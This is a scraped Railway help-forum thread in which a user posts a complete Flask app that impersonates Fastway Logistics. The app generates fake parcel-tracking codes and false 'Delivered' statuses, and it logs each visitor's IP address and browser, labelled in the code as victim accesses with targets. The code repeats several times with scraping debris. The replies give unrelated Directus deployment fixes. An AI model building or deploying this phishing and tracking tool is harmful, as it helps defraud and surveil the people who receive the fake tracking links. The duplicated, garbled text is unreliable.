\n\n\n\n\n\n'''\n\n@app.route('/', methods=\\['GET', 'POST'\\])\n\ndef admin():\n\n global tracking\\_data, access\\_logs\n\n if request.method == 'POST':\n\n if 'country' in request.form:\n\n \\# Generate new code\n\n country = request.form\\['country'\\].strip().title()\n\n code = 'FW' + secrets.token\\_hex(6).upper()\\[:8\\] # FWXXXXXXXX format\n\n tracking\\_data\\[code\\] = {\n\n 'country': country,\n\n 'status': f' Delivered in {country}',\n\n 'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n\n 'target': '',\n\n 'last\\_seen': ''\n\n }\n\n save\\_data(tracking\\_data)\n\n elif 'code' in request.form:\n\n code = request.form\\['code'\\]\n\n if code in tracking\\_data:\n\n if 'status' in request.form:\n\n tracking\\_data\\[code\\]\\['status'\\] = request.form\\['status'\\].strip()\n\n if 'target' in request.form:\n\n tracking\\_data\\[code\\]\\['target'\\] = request.form\\['target'\\].strip()\n\n tracking\\_data\\[code\\]\\['updated'\\] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n save\\_data(tracking\\_data)\n\n recent\\_logs = access\\_logs\\[-20:\\] if access\\_logs else \\[\\]\n\n return render\\_template\\_string(ADMIN\\_TEMPLATE, tracks=tracking\\_data, recent\\_logs=recent\\_logs)\n\n@app.route('/track/')\n\ndef track(code):\n\n global access\\_logs\n\n \\# Log victim access\n\n log\\_entry = {\n\n 'timestamp': datetime.now().isoformat(),\n\n 'code': code,\n\n 'ip': request.remote\\_addr,\n\n 'user\\_agent': request.headers.get('User-Agent', ''),\n\n 'country': request.headers.get('X-Forwarded-For', '').split(',')\\[0\\] if request.headers.get('X-Forwarded-For') else request.remote\\_addr\n\n }\n\n append\\_log(log\\_entry)\n\n \\# Update last seen\n\n if code in tracking\\_data:\n\n tracking\\_data\\[code\\]\\['last\\_seen'\\] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n save\\_data(tracking\\_data)\n\n data = tracking\\_data.get(code)\n\n return render\\_template\\_string(PUBLIC\\_TEMPLATE, code=code, data=data)\n\n@app.route('/logs')\n\ndef logs():\n\n return jsonify(access\\_logs\\[-100:\\])\n\n@app.route('/api/track/')\n\ndef api\\_track(code):\n\n return jsonify(tracking\\_data.get(code, {'error': 'Not found'}))\n\nif \\_\\_name\\_\\_ == '\\_\\_main\\_\\_':\n\n app.run(debug=True, host='0.0.0.0', port=5000) | Get Help with Railway","url":"https://station.railway.com","publisher":{"@type":"Organization","name":"Railway","url":"https://railway.com"}}\n\n\n\n\n\n'''\n\n@app.route('/', methods=\\['GET', 'POST'\\])\n\ndef admin():\n\n global tracking\\_data, access\\_logs\n\n if request.method == 'POST':\n\n if 'country' in request.form:\n\n \\# Generate new code\n\n country = request.form\\['country'\\].strip().title()\n\n code = 'FW' + secrets.token\\_hex(6).upper()\\[:8\\] # FWXXXXXXXX format\n\n tracking\\_data\\[code\\] = {\n\n 'country': country,\n\n 'status': f' Delivered in {country}',\n\n 'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n\n 'target': '',\n\n 'last\\_seen': ''\n\n }\n\n save\\_data(tracking\\_data)\n\n elif 'code' in request.form:\n\n code = request.form\\['code'\\]\n\n if code in tracking\\_data:\n\n if 'status' in request.form:\n\n tracking\\_data\\[code\\]\\['status'\\] = request.form\\['status'\\].strip()\n\n if 'target' in request.form:\n\n tracking\\_data\\[code\\]\\['target'\\] = request.form\\['target'\\].strip()\n\n tracking\\_data\\[code\\]\\['updated'\\] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n save\\_data(tracking\\_data)\n\n recent\\_logs = access\\_logs\\[-20:\\] if access\\_logs else \\[\\]\n\n return render\\_template\\_string(ADMIN\\_TEMPLATE, tracks=tracking\\_data, recent\\_logs=recent\\_logs)\n\n@app.route('/track/')\n\ndef track(code):\n\n global access\\_logs\n\n \\# Log victim access\n\n log\\_entry = {\n\n 'timestamp': datetime.now().isoformat(),\n\n 'code': code,\n\n 'ip': request.remote\\_addr,\n\n 'user\\_agent': request.headers.get('User-Agent', ''),\n\n 'country': request.headers.get('X-Forwarded-For', '').split(',')\\[0\\] if request.headers.get('X-Forwarded-For') else request.remote\\_addr\n\n }\n\n append\\_log(log\\_entry)\n\n \\# Update last seen\n\n if code in tracking\\_data:\n\n tracking\\_data\\[code\\]\\['last\\_seen'\\] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n save\\_data(tracking\\_data)\n\n data = tracking\\_data.get(code)\n\n return render\\_template\\_string(PUBLIC\\_TEMPLATE, code=code, data=data)\n\n@app.route('/logs')\n\ndef logs():\n\n return jsonify(access\\_logs\\[-100:\\])\n\n@app.route('/api/track/')\n\ndef api\\_track(code):\n\n return jsonify(tracking\\_data.get(code, {'error': 'Not found'}))\n\nif \\_\\_name\\_\\_ == '\\_\\_main\\_\\_':\n\n app.run(debug=True, host='0.0.0.0', port=5000)","answerCount":2,"upvoteCount":6,"dateCreated":"2026-03-02T04:56:11.747Z","author":{"@type":"Person","name":"nflexfaith-cmd"}}}
from flask import Flask, request, render_template_string, jsonify import secrets import json from datetime import datetime import os app = Flask(name) # Storage files (persistent across restarts) DATA_FILE = 'tracking_data.json' LOGS_FILE = 'access_logs.json' def load_data(): try: with open(DATA_FILE, 'r') as f: return json.load(f) except: return {} def save_data(data): with open(DATA_FILE, 'w') as f: json.dump(data, f) def load_logs(): try: with open(LOGS_FILE, 'r') as f: return json.load(f) except: return [] def append_log(log_entry): logs = load_logs() logs.append(log_entry) with open(LOGS_FILE, 'w') as f: json.dump(logs, f, indent=2) # Load existing data tracking_data = load_data() access_logs = load_logs() # FASTWAY BRANDING TEMPLATES ADMIN_TEMPLATE = ''' Fastway Logistics - Admin Panel body { font-family: Arial; background: #f5f5f5; padding: 20px; max-width: 900px; margin: auto; } .header { background: #d32f2f; color: white; padding: 20px; text-align: center; } .form { background: white; padding: 20px; margin: 20px 0; border-radius: 8px; } .track { background: white; padding: 15px; margin: 10px 0; border-left: 5px solid #d32f2f; } button { background: #d32f2f; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; } input { padding: 10px; margin: 5px; width: 200px; } .status-update { width: 300px; } ๐Ÿšš FASTWAY LOGISTICS Tracking Code Generator & Manager Generate New Tracking Code ๐Ÿš€ Generate Code Active Shipments ({{ tracks|length }} tracking) {% for code, data in tracks.items() %} {{ code }} โ†’ {{ data.country }} Status: {{ data.status }} Target: {{ data.target or 'Not set' }} | Last seen: {{ data.last_seen or 'Never' }} Update Status Add Target {% endfor %} Recent Victim Accesses (Last 20) {% for log in recent_logs %} {{ log.timestamp }} | {{ log.code }} | {{ log.ip }} | {{ log.country }} {% endfor %} ''' PUBLIC_TEMPLATE = ''' Fastway Logistics - Track Package * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Arial; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; } .container { max-width: 500px; margin: 50px auto; background: white; border-radius: 15px; box-shadow: 0 20px 40px rgba(0,0,0,0.1); overflow: hidden; } .header { background: #d32f2f; color: white; padding: 30px; text-align: center; } .logo { font-size: 28px; font-weight: bold; margin-bottom: 10px; } .content { padding: 40px; } .status { background: #e8f5e8; padding: 20px; border-radius: 10px; margin: 20px 0; border-left: 5px solid #4caf50; } .status h3 { color: #2e7d32; margin-bottom: 10px; } .location { font-size: 24px; font-weight: bold; color: #d32f2f; } .details { background: #f9f9f9; padding: 20px; border-radius: 8px; margin-top: 20px; } .detail-row { display: flex; justify-content: space-between; margin: 10px 0; } .updated { color: #666; font-style: italic; } @media (max-width: 480px) { .container { margin: 20px; } } ๐Ÿšš FASTWAY LOGISTICS Real-Time Package Tracking {% if data %} โœ… Package Update {{ data.status }} Tracking ID: {{ code }} Destination: {{ data.country }} Status: {{ data.status }} Last Updated: {{ data.updated }} {% else %} Tracking ID Not Found Please check your tracking number and try again. ๐Ÿ” {% endif %} ''' @app.route('/', methods=['GET', 'POST']) def admin(): global tracking_data, access_logs if request.method == 'POST': if 'country' in request.form: # Generate new code country = request.form['country'].strip().title() code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX format tracking_data[code] = { 'country': country, 'status': f'โœ… Delivered in {country}', 'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'target': '', 'last_seen': '' } save_data(tracking_data) elif 'code' in request.form: code = request.form['code'] if code in tracking_data: if 'status' in request.form: tracking_data[code]['status'] = request.form['status'].strip() if 'target' in request.form: tracking_data[code]['target'] = request.form['target'].strip() tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') save_data(tracking_data) recent_logs = access_logs[-20:] if access_logs else [] return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs) @app.route('/track/') def track(code): global access_logs # Log victim access log_entry = { 'timestamp': datetime.now().isoformat(), 'code': code, 'ip': request.remote_addr, 'user_agent': request.headers.get('User-Agent', ''), 'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr } append_log(log_entry) # Update last seen if code in tracking_data: tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') save_data(tracking_data) data = tracking_data.get(code) return render_template_string(PUBLIC_TEMPLATE, code=code, data=data) @app.route('/logs') def logs(): return jsonify(access_logs[-100:]) @app.route('/api/track/') def api_track(code): return jsonify(tracking_data.get(code, {'error': 'Not found'})) if name == 'main': app.run(debug=True, host='0.0.0.0', port=5000)
nflexfaith-cmd
FREEOP

4 months ago

from flask import Flask, request, render_template_string, jsonify

import secrets

import json

from datetime import datetime

import os

app = Flask(__name__)

# Storage files (persistent across restarts)

DATA_FILE = 'tracking_data.json'

LOGS_FILE = 'access_logs.json'

def load_data():

try:

with open(DATA_FILE, 'r') as f:

return json.load(f)

except:

return {}

def save_data(data):

with open(DATA_FILE, 'w') as f:

json.dump(data, f)

def load_logs():

try:

with open(LOGS_FILE, 'r') as f:

return json.load(f)

except:

return []

def append_log(log_entry):

logs = load_logs()

logs.append(log_entry)

with open(LOGS_FILE, 'w') as f:

json.dump(logs, f, indent=2)

# Load existing data

tracking_data = load_data()

access_logs = load_logs()

# FASTWAY BRANDING TEMPLATES

ADMIN_TEMPLATE = '''

๐Ÿš€ Generate Code

{% for code, data in tracks.items() %}

{{ code }} โ†’ {{ data.country }}

Status: {{ data.status }}

Target: {{ data.target or 'Not set' }} | Last seen: {{ data.last_seen or 'Never' }}

Update Status

Add Target

{% endfor %}

{% for log in recent_logs %}

{% endfor %}

'''

PUBLIC_TEMPLATE = '''

{% if data %}

{% else %}

{% endif %}

'''

@app.route('/', methods=['GET', 'POST'])

def admin():

global tracking_data, access_logs

if request.method == 'POST':

if 'country' in request.form:

# Generate new code

country = request.form['country'].strip().title()

code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX format

tracking_data[code] = {

'country': country,

'status': f' Delivered in {country}',

'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),

'target': '',

'last_seen': ''

}

save_data(tracking_data)

elif 'code' in request.form:

code = request.form['code']

if code in tracking_data:

if 'status' in request.form:

tracking_data[code]['status'] = request.form['status'].strip()

if 'target' in request.form:

tracking_data[code]['target'] = request.form['target'].strip()

tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

save_data(tracking_data)

recent_logs = access_logs[-20:] if access_logs else []

return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs)

@app.route('/track/')

def track(code):

global access_logs

# Log victim access

log_entry = {

'timestamp': datetime.now().isoformat(),

'code': code,

'ip': request.remote_addr,

'user_agent': request.headers.get('User-Agent', ''),

'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr

}

append_log(log_entry)

# Update last seen

if code in tracking_data:

tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

save_data(tracking_data)

data = tracking_data.get(code)

return render_template_string(PUBLIC_TEMPLATE, code=code, data=data)

@app.route('/logs')

def logs():

return jsonify(access_logs[-100:])

@app.route('/api/track/')

def api_track(code):

return jsonify(tracking_data.get(code, {'error': 'Not found'}))

if __name__ == '__main__':

app.run(debug=True, host='0.0.0.0', port=5000)

Awaiting Template Creator Response

2 Replies

3478727392qq-web
FREE

2 months ago

Set the EXTENSIONS_AUTO_MIGRATE environment variable to "false" to fix this deployment. Directus 11.17.4 crashes immediately on startup because the Marketplace extensions sync fails with "Region is missing", causing the app to exit with code 1 before it can serve any requests. The healthcheck at /server/health then times out after all 10 retry attempts over 5 minutes.


3478727392qq-web
FREE

2 months ago

Initialization

(00:00)

Deploy

(00:10)

Network โ€บ Healthcheck

(04:59)

Healthcheck failure

Diagnosis โ€บ Healthcheck Error

Run automatically

Set the EXTENSIONS_AUTO_MIGRATE environment variable to "false" to fix this deployment. Directus 11.17.4 crashes immediately on startup because the Marketplace extensions sync fails with "Region is missing", causing the app to exit with code 1 before it can serve any requests. The healthcheck at /server/health then times out after all 10 retry attempts over 5 minutes.

Disable extension syncContinue in Chat


Welcome!

Sign in to your Railway account to join the conversation.

Loading...